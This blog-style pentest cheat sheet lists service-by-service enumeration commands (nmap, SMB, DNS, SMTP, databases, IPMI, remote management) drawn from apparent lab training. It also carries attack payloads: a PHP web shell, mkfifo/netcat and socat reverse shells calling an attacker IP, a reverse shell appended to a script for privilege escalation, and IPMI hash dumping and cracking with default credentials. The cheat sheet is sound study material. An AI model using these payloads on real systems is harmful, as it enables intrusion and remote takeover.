Post

Network Footprinting Cheat Sheet

Enumeration - Network services enumeration. Cheat sheet for enumerating network services.

Posted
By OffStrike
25 min read
Network Footprinting Cheat Sheet

Pentest Footprinting and Enumeration Notes

SED Utility Reference

1

https://devhints.io/sed

Engagements

1
2
3

- Black-Box : Low level to no knowledge of a target. 
- Grey-Box  : Tester is given a certain amount of information in advance.
- White-Box : Tester is given complete access.

Enumeration

Nmap

Host Discovery Strategies

1
2
3
4
5
6
7
8
9
10
11
12

nmap -sV --open -oA <output-file-name> <ip address>
nmap -p- --open -oA <output-file-name> <ip address>
nmap -sC -p <port,ports> -oA <output-file-name> <ip address>
nmap -sV --script=http-enum -oA <output-file-name> <ip address>
nmap 192.168.0.0/24 -sn -oA <file-name> | grep for | cut -d" " -f5
nmap -sn -oA <file-name> <IP> <IP> <IP> | grep for | cut -d" " -f5
nmap -sn -oA <file-name> 192.168.0.11-20| grep for | cut -d" " -f5
nmap <ip address> -sn -oA <file-name> 
nmap <ip address> -sn -oA <file-name> -PE --packet-trace 
nmap <ip address> -sn -oA <file-name> -PE --reason
nmap <ip address> -sn -oA <file-name> -PE --packet-trace --disable-arp-ping
nmap <ip address> -p <port> --script banner,smtp-commands

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

 --open                : Returns only open ports
 -T                    : Specifies the insane timing template
 -sV                   : Scan service version detection
 -v                    : Verbose output
 -oG                   : Output greppable format to stdout
 -oA                   : Output all scan formats -> gnmap, nmap, xml
 -p-                   : Scan all 65,535 TCP ports
 -p                    : Specify a port or ports
 -sV                   : Determine service/version info
 -sA                   : Performs ACK scan on specified ports
 -sU                   : UDP Scan
 -PE                   : ICMP Echo Requests
 --packet-trace        : Shows all packets sent and received
 --reason              : Displays the reason for specific result
 --disable-arp-ping    : Disable ARP Pings
 --top-ports           : Scans the specified top ports that have been defined as most frequent
 -sn                   : Disable port scan
 -F                    : Scans top 100 ports
 -D RND:5              : Generates five random IP addresses that indicates the source IP the connection comes from
 -sU                   : Performs a UDP scan
 --source-port         : Performs the scans from specified source port
 -Pn                   : Disable ICMP Echo Requests
 -n                    : Disable DNS Resolution
 -S                    : Source IP
 -e                    : Interface
 --dns-server          : DNS Server
 -sS/sT/sA/sW/sM       : TCP SYN/Connect()/ACK/Window/Maimon scans
 --initial-rtt-timeout : Sets the specified time value as initial RTT timeout
 --max-rtt-timeout     : Sets the specified time value as maximum RTT timeout
 --max-retries         : Sets the number of retries that will be performed during the scan
 --min-rate            : Sets the minimum number of packets to be sent per second

Convert Nmap XML to HTML

1

xsltproc target.xml -o target.html

Bypass Security Measures [References]

1
2

nmap 10.129.2.28 -p 21,22,25 -sS -Pn -n --disable-arp-ping --packet-trace
nmap 10.129.2.28 -p 21,22,25 -sA -Pn -n --disable-arp-ping --packet-trace

Using Decoys

1

nmap 10.129.2.28 -p 80 -sS -Pn -n --disable-arp-ping --packet-trace -D RND:5

Testing Firewall Rule

1

nmap 10.129.2.28 -n -Pn -p445 -O

Scan Using Different IP Source

1
2

nmap 10.129.2.28 -n -Pn -p 445 -O -S 10.129.2.200 -e tun0
nmap <target_ip> -sV -F -D RND:5 --max-retries=0 -T4

DNS Proxying

1

nmap 10.129.2.28 -p50000 -sS -Pn -n --disable-arp-ping --packet-trace

DNS Port Scans

1
2
3

nmap 10.129.2.28 -p50000 -sS -Pn -n --disable-arp-ping --packet-trace --source-port 53
nmap 10.129.89.69 -n -Pn -p- -sV --disable-arp-ping --source-port 53
nmap 10.129.2.48 -sUV -p 53 -T4 -D RND:5

Connect to Filtered Port

1

ncat -nv --source-port 53 10.129.2.28 50000

Tcpdump

1

sudo tcpdump -i eth0 host 10.10.14.2 and 10.129.2.28

Netcat

1
2
3

# Banner grabbing
nc -nv <ip address> <port>
nc -nv --source-port <port> <target IP> < target port>

Web Footprinting

whatweb

1
2

whatweb <ip address>
whatweb http://ip-address/dir

Page Source

1

<b>Hello World!</b>

1
2

curl http://ip-address
curl http://ip-address/dir/file.txt | xmllint --format -

1

gobuster dir -u http://ip-address/dir/ --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt

Initial Foothold/Access

File Upload

1

<?php system('id'); ?>

1

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKING IP> <LISTENING PORT) >/tmp/f

1

<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKING IP> <LISTENING PORT) >/tmp/f"); ?>

Password Cracking

CeWL

Spawning a Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

python -c 'import pty; pty.spawn("/bin/sh")' 
python3 -c 'import pty; pty.spawn("/bin/sh")'

script -qc /bin/bash /dev/null

echo os.system('/bin/bash') 
/bin/sh -i 
perl -e 'exec "/bin/sh";' 
perl: exec "/bin/sh"; 
ruby: exec "/bin/sh" 
lua: os.execute('/bin/sh') 
exec "/bin/sh"; 
/bin/bash -i
exec "/bin/sh"                # (From within IRB) 
:!bash                        # (From within vi)
:set shell=/bin/bash:shell    # (From within vi) 
!sh                           # (From within nmap)

Reverse Shells

socat

1
2
3
4
5

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

stty

1
2
3
4
5
6
7
8
9
10
11
12
13

# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

# In Kali
$ stty raw -echo
$ fg

# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>

File Transfer

1
2

sudo python3 -m http.server 8080
wget http://<ip address>:8080/file.sh

Linux Privilege Escalation

LinEnum

1

./LinEnum.sh

LinPeas

1

./linpeas.sh

Appending to File

1

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP Port >/tmp/f' | tee -a file.sh

Metasploit

1
2
3
4
5
6
7

msfconsole -q
search <name of content>
use <Index>
show options
set <parameter> value
check -> If supported
run/exploit

Footprinting

Oneline Presence

Get Certificate Transparency Information

1
2

curl -s https://crt.sh/\?q\=inlanefreight.com\&output\=json | jq .
curl -s https://crt.sh/\?q\=inlanefreight.com\&output\=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u

Get Company Hosted Servers

1

for i in $(cat subdomainlist);do host $i | grep "has address" | grep inlanefreight.com | cut -d" " -f1,4;done

Shodan IP List [API-Key Required]

1
2

for i in $(cat subdomainlist);do host $i | grep "has address" | grep inlanefreight.com | cut -d" " -f4 >> ip-addresses.txt;done
for i in $(cat ip-addresses.txt);do shodan host $i;done

DNS Records

1

dig any inlanefreight.com

Cloud Resources

Company Hosted Servers

1

for i in $(cat subdomainlist);do host $i | grep "has address" | grep inlanefreight.com | cut -d" " -f1,4;done

Google Dorks

intext: xyz inurl:amazonaws.com

Source Code

# Links (Check for links and other useful information)

Domain Glass

https://domain.glass/

GrayHat

https://buckets.grayhatwarfare.com/

FTP [21/TCP]

Install vsFTPd

1

sudo apt install vsftpd -y

vsFTPd Config File

1

cat /etc/vsftpd.conf | grep -v "#"

FTPUSERS

1

cat /etc/ftpusers

Anonymous Login

1

ftp 10.129.14.136

vsFTPd Status

1

ftp> status

vsFTPd Detailed Output

1
2

ftp> debug
ftp> trace

Recursive Listing

1

ftp> ls -R

Download a File

1

ftp> get <file name>

Download All Available Files

1

wget -m --no-passive ftp://anonymous:anonymous@10.129.14.136

Upload a File

1
2

touch filename.txt
ftp> put filename.txt

Nmap FTP Scripts

1
2
3
4

sudo nmap --script-updatedb
find / -type f -name ftp* 2>/dev/null | grep scripts
sudo nmap -sV -p21 -sC -A <target ip>
sudo nmap -sV -p21 -sC -A <target ip> --script-trace

Service Imteraction

1
2

nc -nv <target ip> 21
telnet <target ip> 21

Connect with SSL

1

openssl s_client -connect <target ip>:21 -starttls ftp

SMB [445/TCP]

Default Configuration

1

/etc/samba/smb.conf | grep -v "#\|\;"

Restart Samba

1

sudo systemctl restart smbd

SMBClient - Connecting to the share

1
2

smbclient -N -L //<ip address>
smbclient //ip address/share

Download Files from SMB

1

smb: \> get <file name>

SMB Status (Root Access Required)

1

smbstatus

Nmap Footprinting

1

sudo nmap <ip address> -sV -sC -p139,445

RPCclient

1
2
3
4
5
6
7
8
9

rpcclient -U "" <ip address>
rpcclient $> srvinfo
rpcclient $> enumdomains
rpcclient $> querydominfo
rpcclient $> netshareenumall
rpcclient $> netsharegetinfo <share name>
rpcclient $> enumdomusers
rpcclient $> queryuser <user name>
rpcclient $> querygroup <group name>

Brute Forcing User RIDs

1

for i in $(seq 500 1100);do rpcclient -N -U "" <ip address> -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

Impacket Samrdump.py

1

samrdump.py <ip address>

SMBMap

1

smbmap -H <ip address>

CrackMapExec

1

crackmapexec smb 10.129.14.128 --shares -u '' -p ''

Enum4Linux-ng [Enum4Linux]

1
2
3
4
5

git clone https://github.com/cddmp/enum4linux-ng.git
cd enum4linux-ng
pip3 install -r requirements.txt

./enum4linux-ng.py <ip address> -A

NFS [2049/TCP/UDP]

Exports File

1

cat /etc/exports

ExportFS

1

echo '/mnt/nfs  10.129.14.0/24(sync,no_subtree_check)' >> /etc/exports

NFS Footprinting

1
2

sudo nmap <target ip> -p111,2049 -sV -sC
sudo nmap --script nfs* <target ip> -sV -p111,2049

Show Available NFS Shares

1

showmount -e <target ip>

Mounting NFS Share

1
2
3
4

mkdir target-NFS
sudo mount -t nfs <target ip>:/ ./target-NFS/ -o nolock
cd target-NFS
tree .

List Contents

1
2

ls -l mnt/nfs/
ls -n mnt/nfs/

Unmounting

1
2

cd ..
sudo umount ./target-NFS

DNS [53]

DNS Scan

1

dig soa www.inlanefreight.com

Default Configuration Files

1
2
3

named.conf.local
named.conf.options
named.conf.log

Local DNS Configuration

1

cat /etc/bind/named.conf.local

Zone Files

1

cat /etc/bind/db.domain.com

Reverse Name Resolution Zone Files

1

cat /etc/bind/db.10.129.14

DIG - NS Query

1

dig ns inlanefreight.htb @10.129.14.128

DIG Version Query

1

dig CH TXT version.bind 10.129.120.85

DIG - ANY Query

1

dig any inlanefreight.htb @10.129.14.128

DIG - AXFR Zone Transfer

1

dig axfr inlanefreight.htb @10.129.14.128

DIG - AXFR Zone Transfer - Internal

1

dig axfr internal.inlanefreight.htb @10.129.14.128

Subdomain Brute Forcing

1

for sub in $(cat /opt/useful/seclists/Discovery/DNS/subdomains-top1million-110000.txt);do dig $sub.inlanefreight.htb @10.129.14.128 | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done

DNSenum

1
2

dnsenum --dnsserver 10.129.14.128 --enum -p 0 -s 0 -o subdomains.txt -f /opt/useful/seclists/Discovery/DNS/subdomains-top1million-110000.txt inlanefreight.htb
dnsenum --dnsserver 10.129.91.126 --enum -p 0 -s 0 -o subdomains.txt -f /usr/share/wordlists/seclists/Discovery/DNS/fierce-hostlist.txt dev.inlanefreight.htb

SMTP [25]

Default Configuration

  • Mail User Agent (MUA) -> SMTP Client
  • Mail Submission Agent (MSA) -> Validity Checker
  • Mail Transfer Agent (MTA) -> Sends Email
  • Mail Delivery Agent (MDA) -> Recieves Email
  • Mailbox (POP3/IMAP) -> User Mailbox
  • Extended SMTP (ESMTP) -> Uses TLS 
    1

    cat /etc/postfix/main.cf | grep -v "#" | sed -r "/^\s*$/d"

    SMTP Commands

  • AUTH PLAIN : AUTH is a service extension used to authenticate the client.
  • HELO : The client logs in with its computer name and thus starts the session.
  • MAIL FROM : The client names the email sender.
  • RCPT TO : The client names the email recipient.
  • DATA : The client initiates the transmission of the email.
  • RSET : The client aborts the initiated transmission but keeps the connection between client and server.
  • VRFY : The client checks if a mailbox is available for message transfer.
  • EXPN : The client also checks if a mailbox is available for messaging with this command.
  • NOOP : The client requests a response from the server to prevent disconnection due to time-out.
  • QUIT : The client terminates the session.

    Interacting with SMTP Server

    ```shell [Telnet - HELO/EHLO] telnet 25 Trying ... Connected to . Escape character is '^]'. 220 ESMTP Server HELO mail1.inlanefreight.htb 250 mail1.inlanefreight.htb EHLO mail1 250-mail1.inlanefreight.htb 250-PIPELINING 250-SIZE 10240000 250-ETRN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKING

    1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

    #### [SMTP Response Codes](https://serversmtp.com/smtp-error/)
#### Telnet - VRFY
```shell
Trying 10.129.14.128...
Connected to 10.129.14.128.
Escape character is '^]'.
220 ESMTP Server 
VRFY root
252 2.0.0 root
VRFY cry0l1t3
252 2.0.0 cry0l1t3
VRFY testuser
252 2.0.0 testuser
VRFY aaaaaaaaaaaaaaaaaaaaaaaaaaaa
252 2.0.0 aaaaaaaaaaaaaaaaaaaaaaaaaaaa

    Working through Web Proxy

    1

    CONNECT 10.129.14.128:25 HTTP/1.0

    Send an Email

    ```shell telnet 10.129.14.128 25

Trying 10.129.14.128… Connected to 10.129.14.128. Escape character is ‘^]’. 220 ESMTP Server EHLO inlanefreight.htb 250-mail1.inlanefreight.htb 250-PIPELINING 250-SIZE 10240000 250-ETRN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKING MAIL FROM: cry0l1t3@inlanefreight.htb 250 2.1.0 Ok RCPT TO: mrb3n@inlanefreight.htb NOTIFY=success,failure 250 2.1.5 Ok DATA 354 End data with . From: <cry0l1t3@inlanefreight.htb> To: <mrb3n@inlanefreight.htb> Subject: DB Date: Tue, 28 Sept 2021 16:32:51 +0200 Hey man, I am trying to access our XY-DB but the creds don't work. Did you make any changes there? . 250 2.0.0 Ok: queued as 6E1CF1681AB QUIT 221 2.0.0 Bye Connection closed by foreign host.

1
2
3
4
5

#### Dangerous Settings
- Administrators have no overview of which IP ranges they have to allow
- Allowing all IP addresses to avoid downtime
```SMTP
mynetworks = 0.0.0.0/0

Footprinting the Service

The default Nmap scripts include smtp-commands, which uses the EHLO command to list all possible commands that can be executed on the target SMTP server.

Nmap
1

sudo nmap <ip address> -sC -sV -p25
Nmap Open Relay NSE
1

sudo nmap <ip address> -p25 --script smtp-open-relay -v
SMTP-USER-ENUM TOOL
1
2

smtp-user-enum -M VRFY -U ./Test/smtp.txt -t 10.129.71.141
smtp-user-enum -h

IMAP/POP 3 [143/993]

By default, ports 110 and 995 are used for POP3, and ports 143 and 993 are used for IMAP. The higher ports (993 and 995) use TLS/SSL to encrypt the communication between the client and server. Using Nmap, we can scan the server for these ports. The scan will return the corresponding information if the server uses an embedded certificate.

Commands

  • LOGIN username password
  • LIST “” *
  • SELECT INBOX
  • UNSELECT INBOX
  • FETCH all
  • CLOSE
  • LOGOUT
  • FETCH 1:* (ENVELOPE)
  • FETCH 1 (BODY[])

    Nmap

    1

    sudo nmap <ip address> -sV -p110,143,993,995 -sC

    cURL

    1

    curl -k 'imaps://IP' --user username:password

    1

    curl -k 'imaps://IP' --user username:password -v

    OpenSSL - TLS Encrypted Interaction POP3

    1

    openssl s_client -connect IP:pop3s

    1

    openssl s_client -connect IP:imaps

    SNMP [161/162]

    Default Configuration

    1

    cat /etc/snmp/snmpd.conf | grep -v "#" | sed -r '/^\s*$/d'

    SNMPwalk

    1

    snmpwalk -v2c -c public <IP>

    OneSixtyOne

    1

    sudo apt install onesixtyone

    1

    onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt <IP>

    Braa

    1

    sudo apt install braa

    1
2

    braa <community string>@<IP>:.1.3.6.*   # Syntax
braa public@10.129.14.128:.1.3.6.*

    SNMP-Check

    1

    snmp-check <IP> -c public

    MySQL [3306]

    Default Configuration

    1

    sudo apt install mysql-server -y

    1

    cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | sed -r '/^\s*$/d'

    Nmap

    1

    sudo nmap <IP> -sV -sC -p3306 --script mysql*

    MySQL Server

    1

    mysql -u <username> -h <IP>

    1

    mysql -u <username> -p <password> -h <IP> --skip-ssl

    Quick Commands Security Issues

1
2
3
4
5
6
7

- mysql -u <user> -p<password> -h <IP address>              :   Connect to the MySQL server. There should not be a space between the '-p' flag, and the password.
- show databases;                                           :   Show all databases.
- use <database>;                                           :   Select one of the existing databases.
- show tables;                                              :   Show all available tables in the selected database.
- show columns from <table>;                                :   Show all columns in the selected database.
- select * from <table>;                                    :   Show everything in the desired table.
- select * from <table> where <column> = "<string>";        :   Search for needed string in the desired table.

MSSQL [1433]

Impacket’s MSSQLClient.py

1

locate mssqlclient

Nmap

1

sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>

Metasploit MSSQL Ping

1
2

msf6 auxiliary(scanner/mssql/mssql_ping) > set rhosts <IP>
msf6 auxiliary(scanner/mssql/mssql_ping) > run

Mssqlclient.py

1

python3 mssqlclient.py <username>@<IP> -windows-auth

1

impacket-mssqlclient <username>@<IP> -windows-auth

MSSQL Commands

1
2
3
4
5
6
7
8
9
10
11
12

- SELECT name FROM sys.databases;                                                                   : SELECT name FROM sys.databases;                        
- USE [YourDatabaseName];                                                                           : To list all tables in a specific database, first switch to the database
- SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE';                 : To list all tables in a specific database, first switch to the database
- SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'YourTableName';            : To get the columns for a specific table
- SELECT name AS username FROM sys.database_principals WHERE type IN ('S', 'U');                    : To list all users in the current database
- SELECT name AS role FROM sys.database_principals WHERE type = 'R';                                : To list all roles
- EXEC sp_configure;                                                                                : To check server configuration options
- SELECT * FROM sys.dm_exec_sessions WHERE is_user_process = 1;                                     : To see active connections to the SQL Server
- SELECT * FROM sys.dm_exec_requests;                                                               : To view currently running processes
- SELECT @@VERSION;                                                                                 : To find out the SQL Server version
- SELECT * FROM fn_my_permissions(NULL, 'DATABASE');                                                : To list the permissions for a specific user
- SELECT name FROM sys.triggers;                                                                    : To list all triggers in the current database

Oracle TNS [1521]

Oracle-Tools Setup

1

sudo apt install odat -y

1
2
3
4
5
6
7
8
9
10

wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
sudo mkdir -p /opt/oracle
sudo unzip -d /opt/oracle instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
sudo unzip -d /opt/oracle instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
cd /opt/oracle/instantclient_21_4 && find . -type f | sort
export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_4:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
source ~/.bashrc
sqlplus -V

Testing Oracle Database Attacking Tool (ODAT)

1

odat.py -h

Nmap

1

sudo nmap -p1521 -sV <IP> --open

SID Bruteforcing

1

sudo nmap -p1521 -sV <IP> --open --script oracle-sid-brute

ODAT

1

sudo odat all -s <IP>

SQLplus - Login Commands

1

sqlplus username/password@IP/XE

Note: If you come across the following error sqlplus: error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory, please execute the below, taken from here

1

sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldconfig

Commands

1
2
3

- select table_name from all_tables;
- select * from user_role_privs;
- select name, password from sys.user$;

IPMI - Intelligent Platform Management Interface [623]

A set of standardized specifications for hardware-based host management systems used for system management and monitoring. It acts as an autonomous subsystem and works independently of the host’s BIOS, CPU, firmware, and underlying operating system. IPMI provides sysadmins with the ability to manage and monitor systems even if they are powered off or in an unresponsive state. It operates using a direct network connection to the system’s hardware and does not require access to the operating system via a login shell. IPMI can also be used for remote upgrades to systems without requiring physical access to the target host. IPMI is typically used in three ways:

  • Before the OS has booted to modify BIOS settings
  • When the host is fully powered down
  • Access to a host after a system failure

When not being used for these tasks, IPMI can monitor a range of different things such as system temperature, voltage, fan status, and power supplies. It can also be used for querying inventory information, reviewing hardware logs, and alerting using SNMP. The host system can be powered off, but the IPMI module requires a power source and a LAN connection to work correctly. IPMI communicates over port 623 UDP. Systems that use the IPMI protocol are called Baseboard Management Controllers (BMCs). BMCs are typically implemented as embedded ARM systems running Linux, and connected directly to the host’s motherboard. BMCs are built into many motherboards but can also be added to a system as a PCI card. Most servers either come with a BMC or support adding a BMC. The most common BMCs we often see during internal penetration tests are HP iLO, Dell DRAC, and Supermicro IPMI. If we can access a BMC during an assessment, we would gain full access to the host motherboard and be able to monitor, reboot, power off, or even reinstall the host operating system. Gaining access to a BMC is nearly equivalent to physical access to a system.

Nmap

1

sudo nmap -sU --script ipmi-version -p 623 ilo.inlanfreight.local

Metasploit Scanner

1
2
3
4
5
6
7
8
9
10
11
12
13
14

msf6 > use auxiliary/scanner/ipmi/ipmi_version 
msf6 auxiliary(scanner/ipmi/ipmi_version) > set rhosts 10.129.42.195
msf6 auxiliary(scanner/ipmi/ipmi_version) > show options 

Module options (auxiliary/scanner/ipmi/ipmi_version):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BATCHSIZE  256              yes       The number of hosts to probe in each set
   RHOSTS     IP               yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      623              yes       The target port (UDP)
   THREADS    10               yes       The number of concurrent threads

msf6 auxiliary(scanner/ipmi/ipmi_version) > run

Common Default Passwords

  • Dell iDRAC [root:calvin]
  • HP iLO [Administrator:randomized 8-character string consisting of numbers and uppercase letters]
  • Supermicro IPMI [ADMIN:ADMIN]

Default Settings

If default credentials do not work to access a BMC, we can turn to a flaw in the RAKP protocol in IPMI 2.0. During the authentication process, the server sends a salted SHA1 or MD5 hash of the user’s password to the client before authentication takes place. This can be leveraged to obtain the password hash for ANY valid user account on the BMC. These password hashes can then be cracked offline using a dictionary attack using Hashcat mode 7300. In the event of an HP iLO using a factory default password, we can use this Hashcat mask attack command hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u which tries all combinations of upper case letters and numbers for an eight-character password.

There is no direct “fix” to this issue because the flaw is a critical component of the IPMI specification. Clients can opt for very long, difficult to crack passwords or implement network segmentation rules to restrict the direct access to the BMCs. It is important to not overlook IPMI during internal penetration tests (we see it during most assessments) because not only can we often gain access to the BMC web console, which is a high-risk finding, but we have seen environments where a unique (but crackable) password is set that is later re-used across other systems. On one such penetration test, we obtained an IPMI hash, cracked it offline using Hashcat, and were able to SSH into many critical servers in the environment as the root user and gain access to web management consoles for various network monitoring tools.

Metasploit Dumping Hashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes 
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set rhosts IP
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set threads 256
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set OUTPUT_JOHN_FILE out.john
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > show options 

Module options (auxiliary/scanner/ipmi/ipmi_dumphashes):

   Name                 Current Setting                                                    Required  Description
   ----                 ---------------                                                    --------  -----------
   CRACK_COMMON         true                                                               yes       Automatically crack common passwords as they are obtained
   OUTPUT_HASHCAT_FILE                                                                     no        Save captured password hashes in hashcat format
   OUTPUT_JOHN_FILE                                                                        no        Save captured password hashes in john the ripper format
   PASS_FILE            /usr/share/metasploit-framework/data/wordlists/ipmi_passwords.txt  yes       File containing common passwords for offline cracking, one per line
   RHOSTS               IP                                                                 yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                623                                                                yes       The target port
   THREADS              1                                                                  yes       The number of concurrent threads (max one per host)
   USER_FILE            /usr/share/metasploit-framework/data/wordlists/ipmi_users.txt      yes       File containing usernames, one per line

msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run

1
2
3
4
5
6
7

john --fork=8 --incremental:alpha --format=rakp ./out.john
Created directory: /home/oscp/.john
Using default input encoding: UTF-8
Loaded 1 password hash (RAKP, IPMI 2.0 RAKP (RMCP+) [HMAC-SHA1 128/128 SSE2 4x])
Node numbers 1-8 of 8 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
trinity          (10.129.71.206 admin)

Linux Remote Management Protocols

SSH [22]

1

cat /etc/ssh/sshd_config  | grep -v "#" | sed -r '/^\s*$/d'

SSH Settings

1
2
3
4
5
6
7
8

- PasswordAuthentication yes             : Allows password-based authentication.
- PermitEmptyPasswords yes               : Allows the use of empty passwords.
- PermitRootLogin yes                    : Allows to log in as the root user.
- Protocol 1                             : Uses an outdated version of encryption.
- X11Forwarding yes                      : Allows X11 forwarding for GUI applications.
- AllowTcpForwarding yes                 : Allows forwarding of TCP ports.
- PermitTunnel                           : Allows tunneling.
- DebianBanner yes                       : Displays a specific banner when logging in.

SSH Audit

1
2

git clone https://github.com/jtesta/ssh-audit.git && cd ssh-audit
./ssh-audit.py <IP>

Changing SSH Auth Method

1

ssh -v <username>@<IP>

1

ssh -v <username>@<IP> -o PreferredAuthentications=password

Rsync [873]

Scanning for Rsync

1

sudo nmap -sV -p 873 <IP>

Probing for Accessible Shares

1

nc -nv <IP> 873

Enumerating an Open Share

1

rsync -av --list-only rsync://IP/share-name

Sync Files

1

rsync -av rsync://IP/share-name

Note: If Rsync is configured to use SSH to transfer files, we could modify our commands to include the -e ssh flag, or -e "ssh -p2222" if a non-standard port is in use for SSH.

R-Services [512/513/514]

R-Services are a suite of services hosted to enable remote access or issue commands between Unix hosts over TCP/IP. Initially developed by the Computer Systems Research Group (CSRG) at the University of California, Berkeley, r-services were the de facto standard for remote access between Unix operating systems until they were replaced by the Secure Shell (SSH) protocols and commands due to inherent security flaws built into them. Much like telnet, r-services transmit information from client to server(and vice versa.) over the network in an unencrypted format, making it possible for attackers to intercept network traffic (passwords, login information, etc.) by performing man-in-the-middle (MITM) attacks.

R-Commands

  • rcp (remote copy)
  • rexec (remote execution)
  • rlogin (remote login)
  • rsh (remote shell)
  • rstat
  • ruptime
  • rwho (remote who)
1

cat /etc/hosts.equiv

Scanning for R-Services

1

sudo nmap -sV -p 512,513,514 <IP>

Access Control

The primary concern for r-services, and one of the primary reasons SSH was introduced to replace it, is the inherent issues regarding access control for these protocols. R-services rely on trusted information sent from the remote client to the host machine they are attempting to authenticate to. By default, these services utilize Pluggable Authentication Modules (PAM) for user authentication onto a remote system; however, they also bypass this authentication through the use of the /etc/hosts.equiv and .rhosts files on the system. The hosts.equiv and .rhosts files contain a list of hosts (IPs or Hostnames) and users that are trusted by the local host when a connection attempt is made using r-commands. Entries in either file can appear like the following:

Sample .rhosts File

1

cat .rhosts

Logging in Using Rlogin

1

rlogin <IP> -l <account>

Listing Authenticated Users

1

rwho

1

rusers -al <IP>

Windows Remote Management Protocols

RDP [3389]

Nmap

1

nmap -sV -sC <IP> -p3389 --script rdp*

1

nmap -sV -sC <IP> -p3389 --packet-trace --disable-arp-ping -n

RDP Security Check - Installation

1

sudo cpan

RDP Security Check

1
2

git clone https://github.com/CiscoCXSecurity/rdp-sec-check.git && cd rdp-sec-check
./rdp-sec-check.pl <IP>

Initiate an RDP Session

1

xfreerdp /u:User /p:Password /v:IP

WinRM [5985/5986]

Another component that fits WinRM for administration is Windows Remote Shell (WinRS), which lets us execute arbitrary commands on the remote system. The program is even included on Windows 7 by default. Thus, with WinRM, it is possible to execute a remote command on another server. Services like remote sessions using PowerShell and event log merging require WinRM. It is enabled by default starting with the Windows Server 2012 version, but it must first be configured for older server versions and clients, and the necessary firewall exceptions created.

Nmap

1

nmap -sV -sC <IP> -p5985,5986 --disable-arp-ping -n

If we want to find out whether one or more remote servers can be reached via WinRM, we can easily do this with the help of PowerShell. The Test-WsMan cmdlet is responsible for this, and the host’s name in question is passed to it. In Linux-based environments, we can use the tool called evil-winrm, another penetration testing tool designed to interact with WinRM.

1

evil-winrm -i 10.129.201.248 -u User -p Password

WMI [135]

Windows Management Instrumentation (WMI) is Microsoft’s implementation and also an extension of the Common Information Model (CIM), core functionality of the standardized Web-Based Enterprise Management (WBEM) for the Windows platform. WMI allows read and write access to almost all settings on Windows systems. Understandably, this makes it the most critical interface in the Windows environment for the administration and remote maintenance of Windows computers, regardless of whether they are PCs or servers. WMI is typically accessed via PowerShell, VBScript, or the Windows Management Instrumentation Console (WMIC). WMI is not a single program but consists of several programs and various databases, also known as repositories.

WMIexec.py

1

/usr/share/doc/python3-impacket/examples/wmiexec.py Username:"Password"@IP "hostname"

1

impacket-wmiexec --help
Advanced Penetration Testing
Windows x64 OSEP PowerShell Kali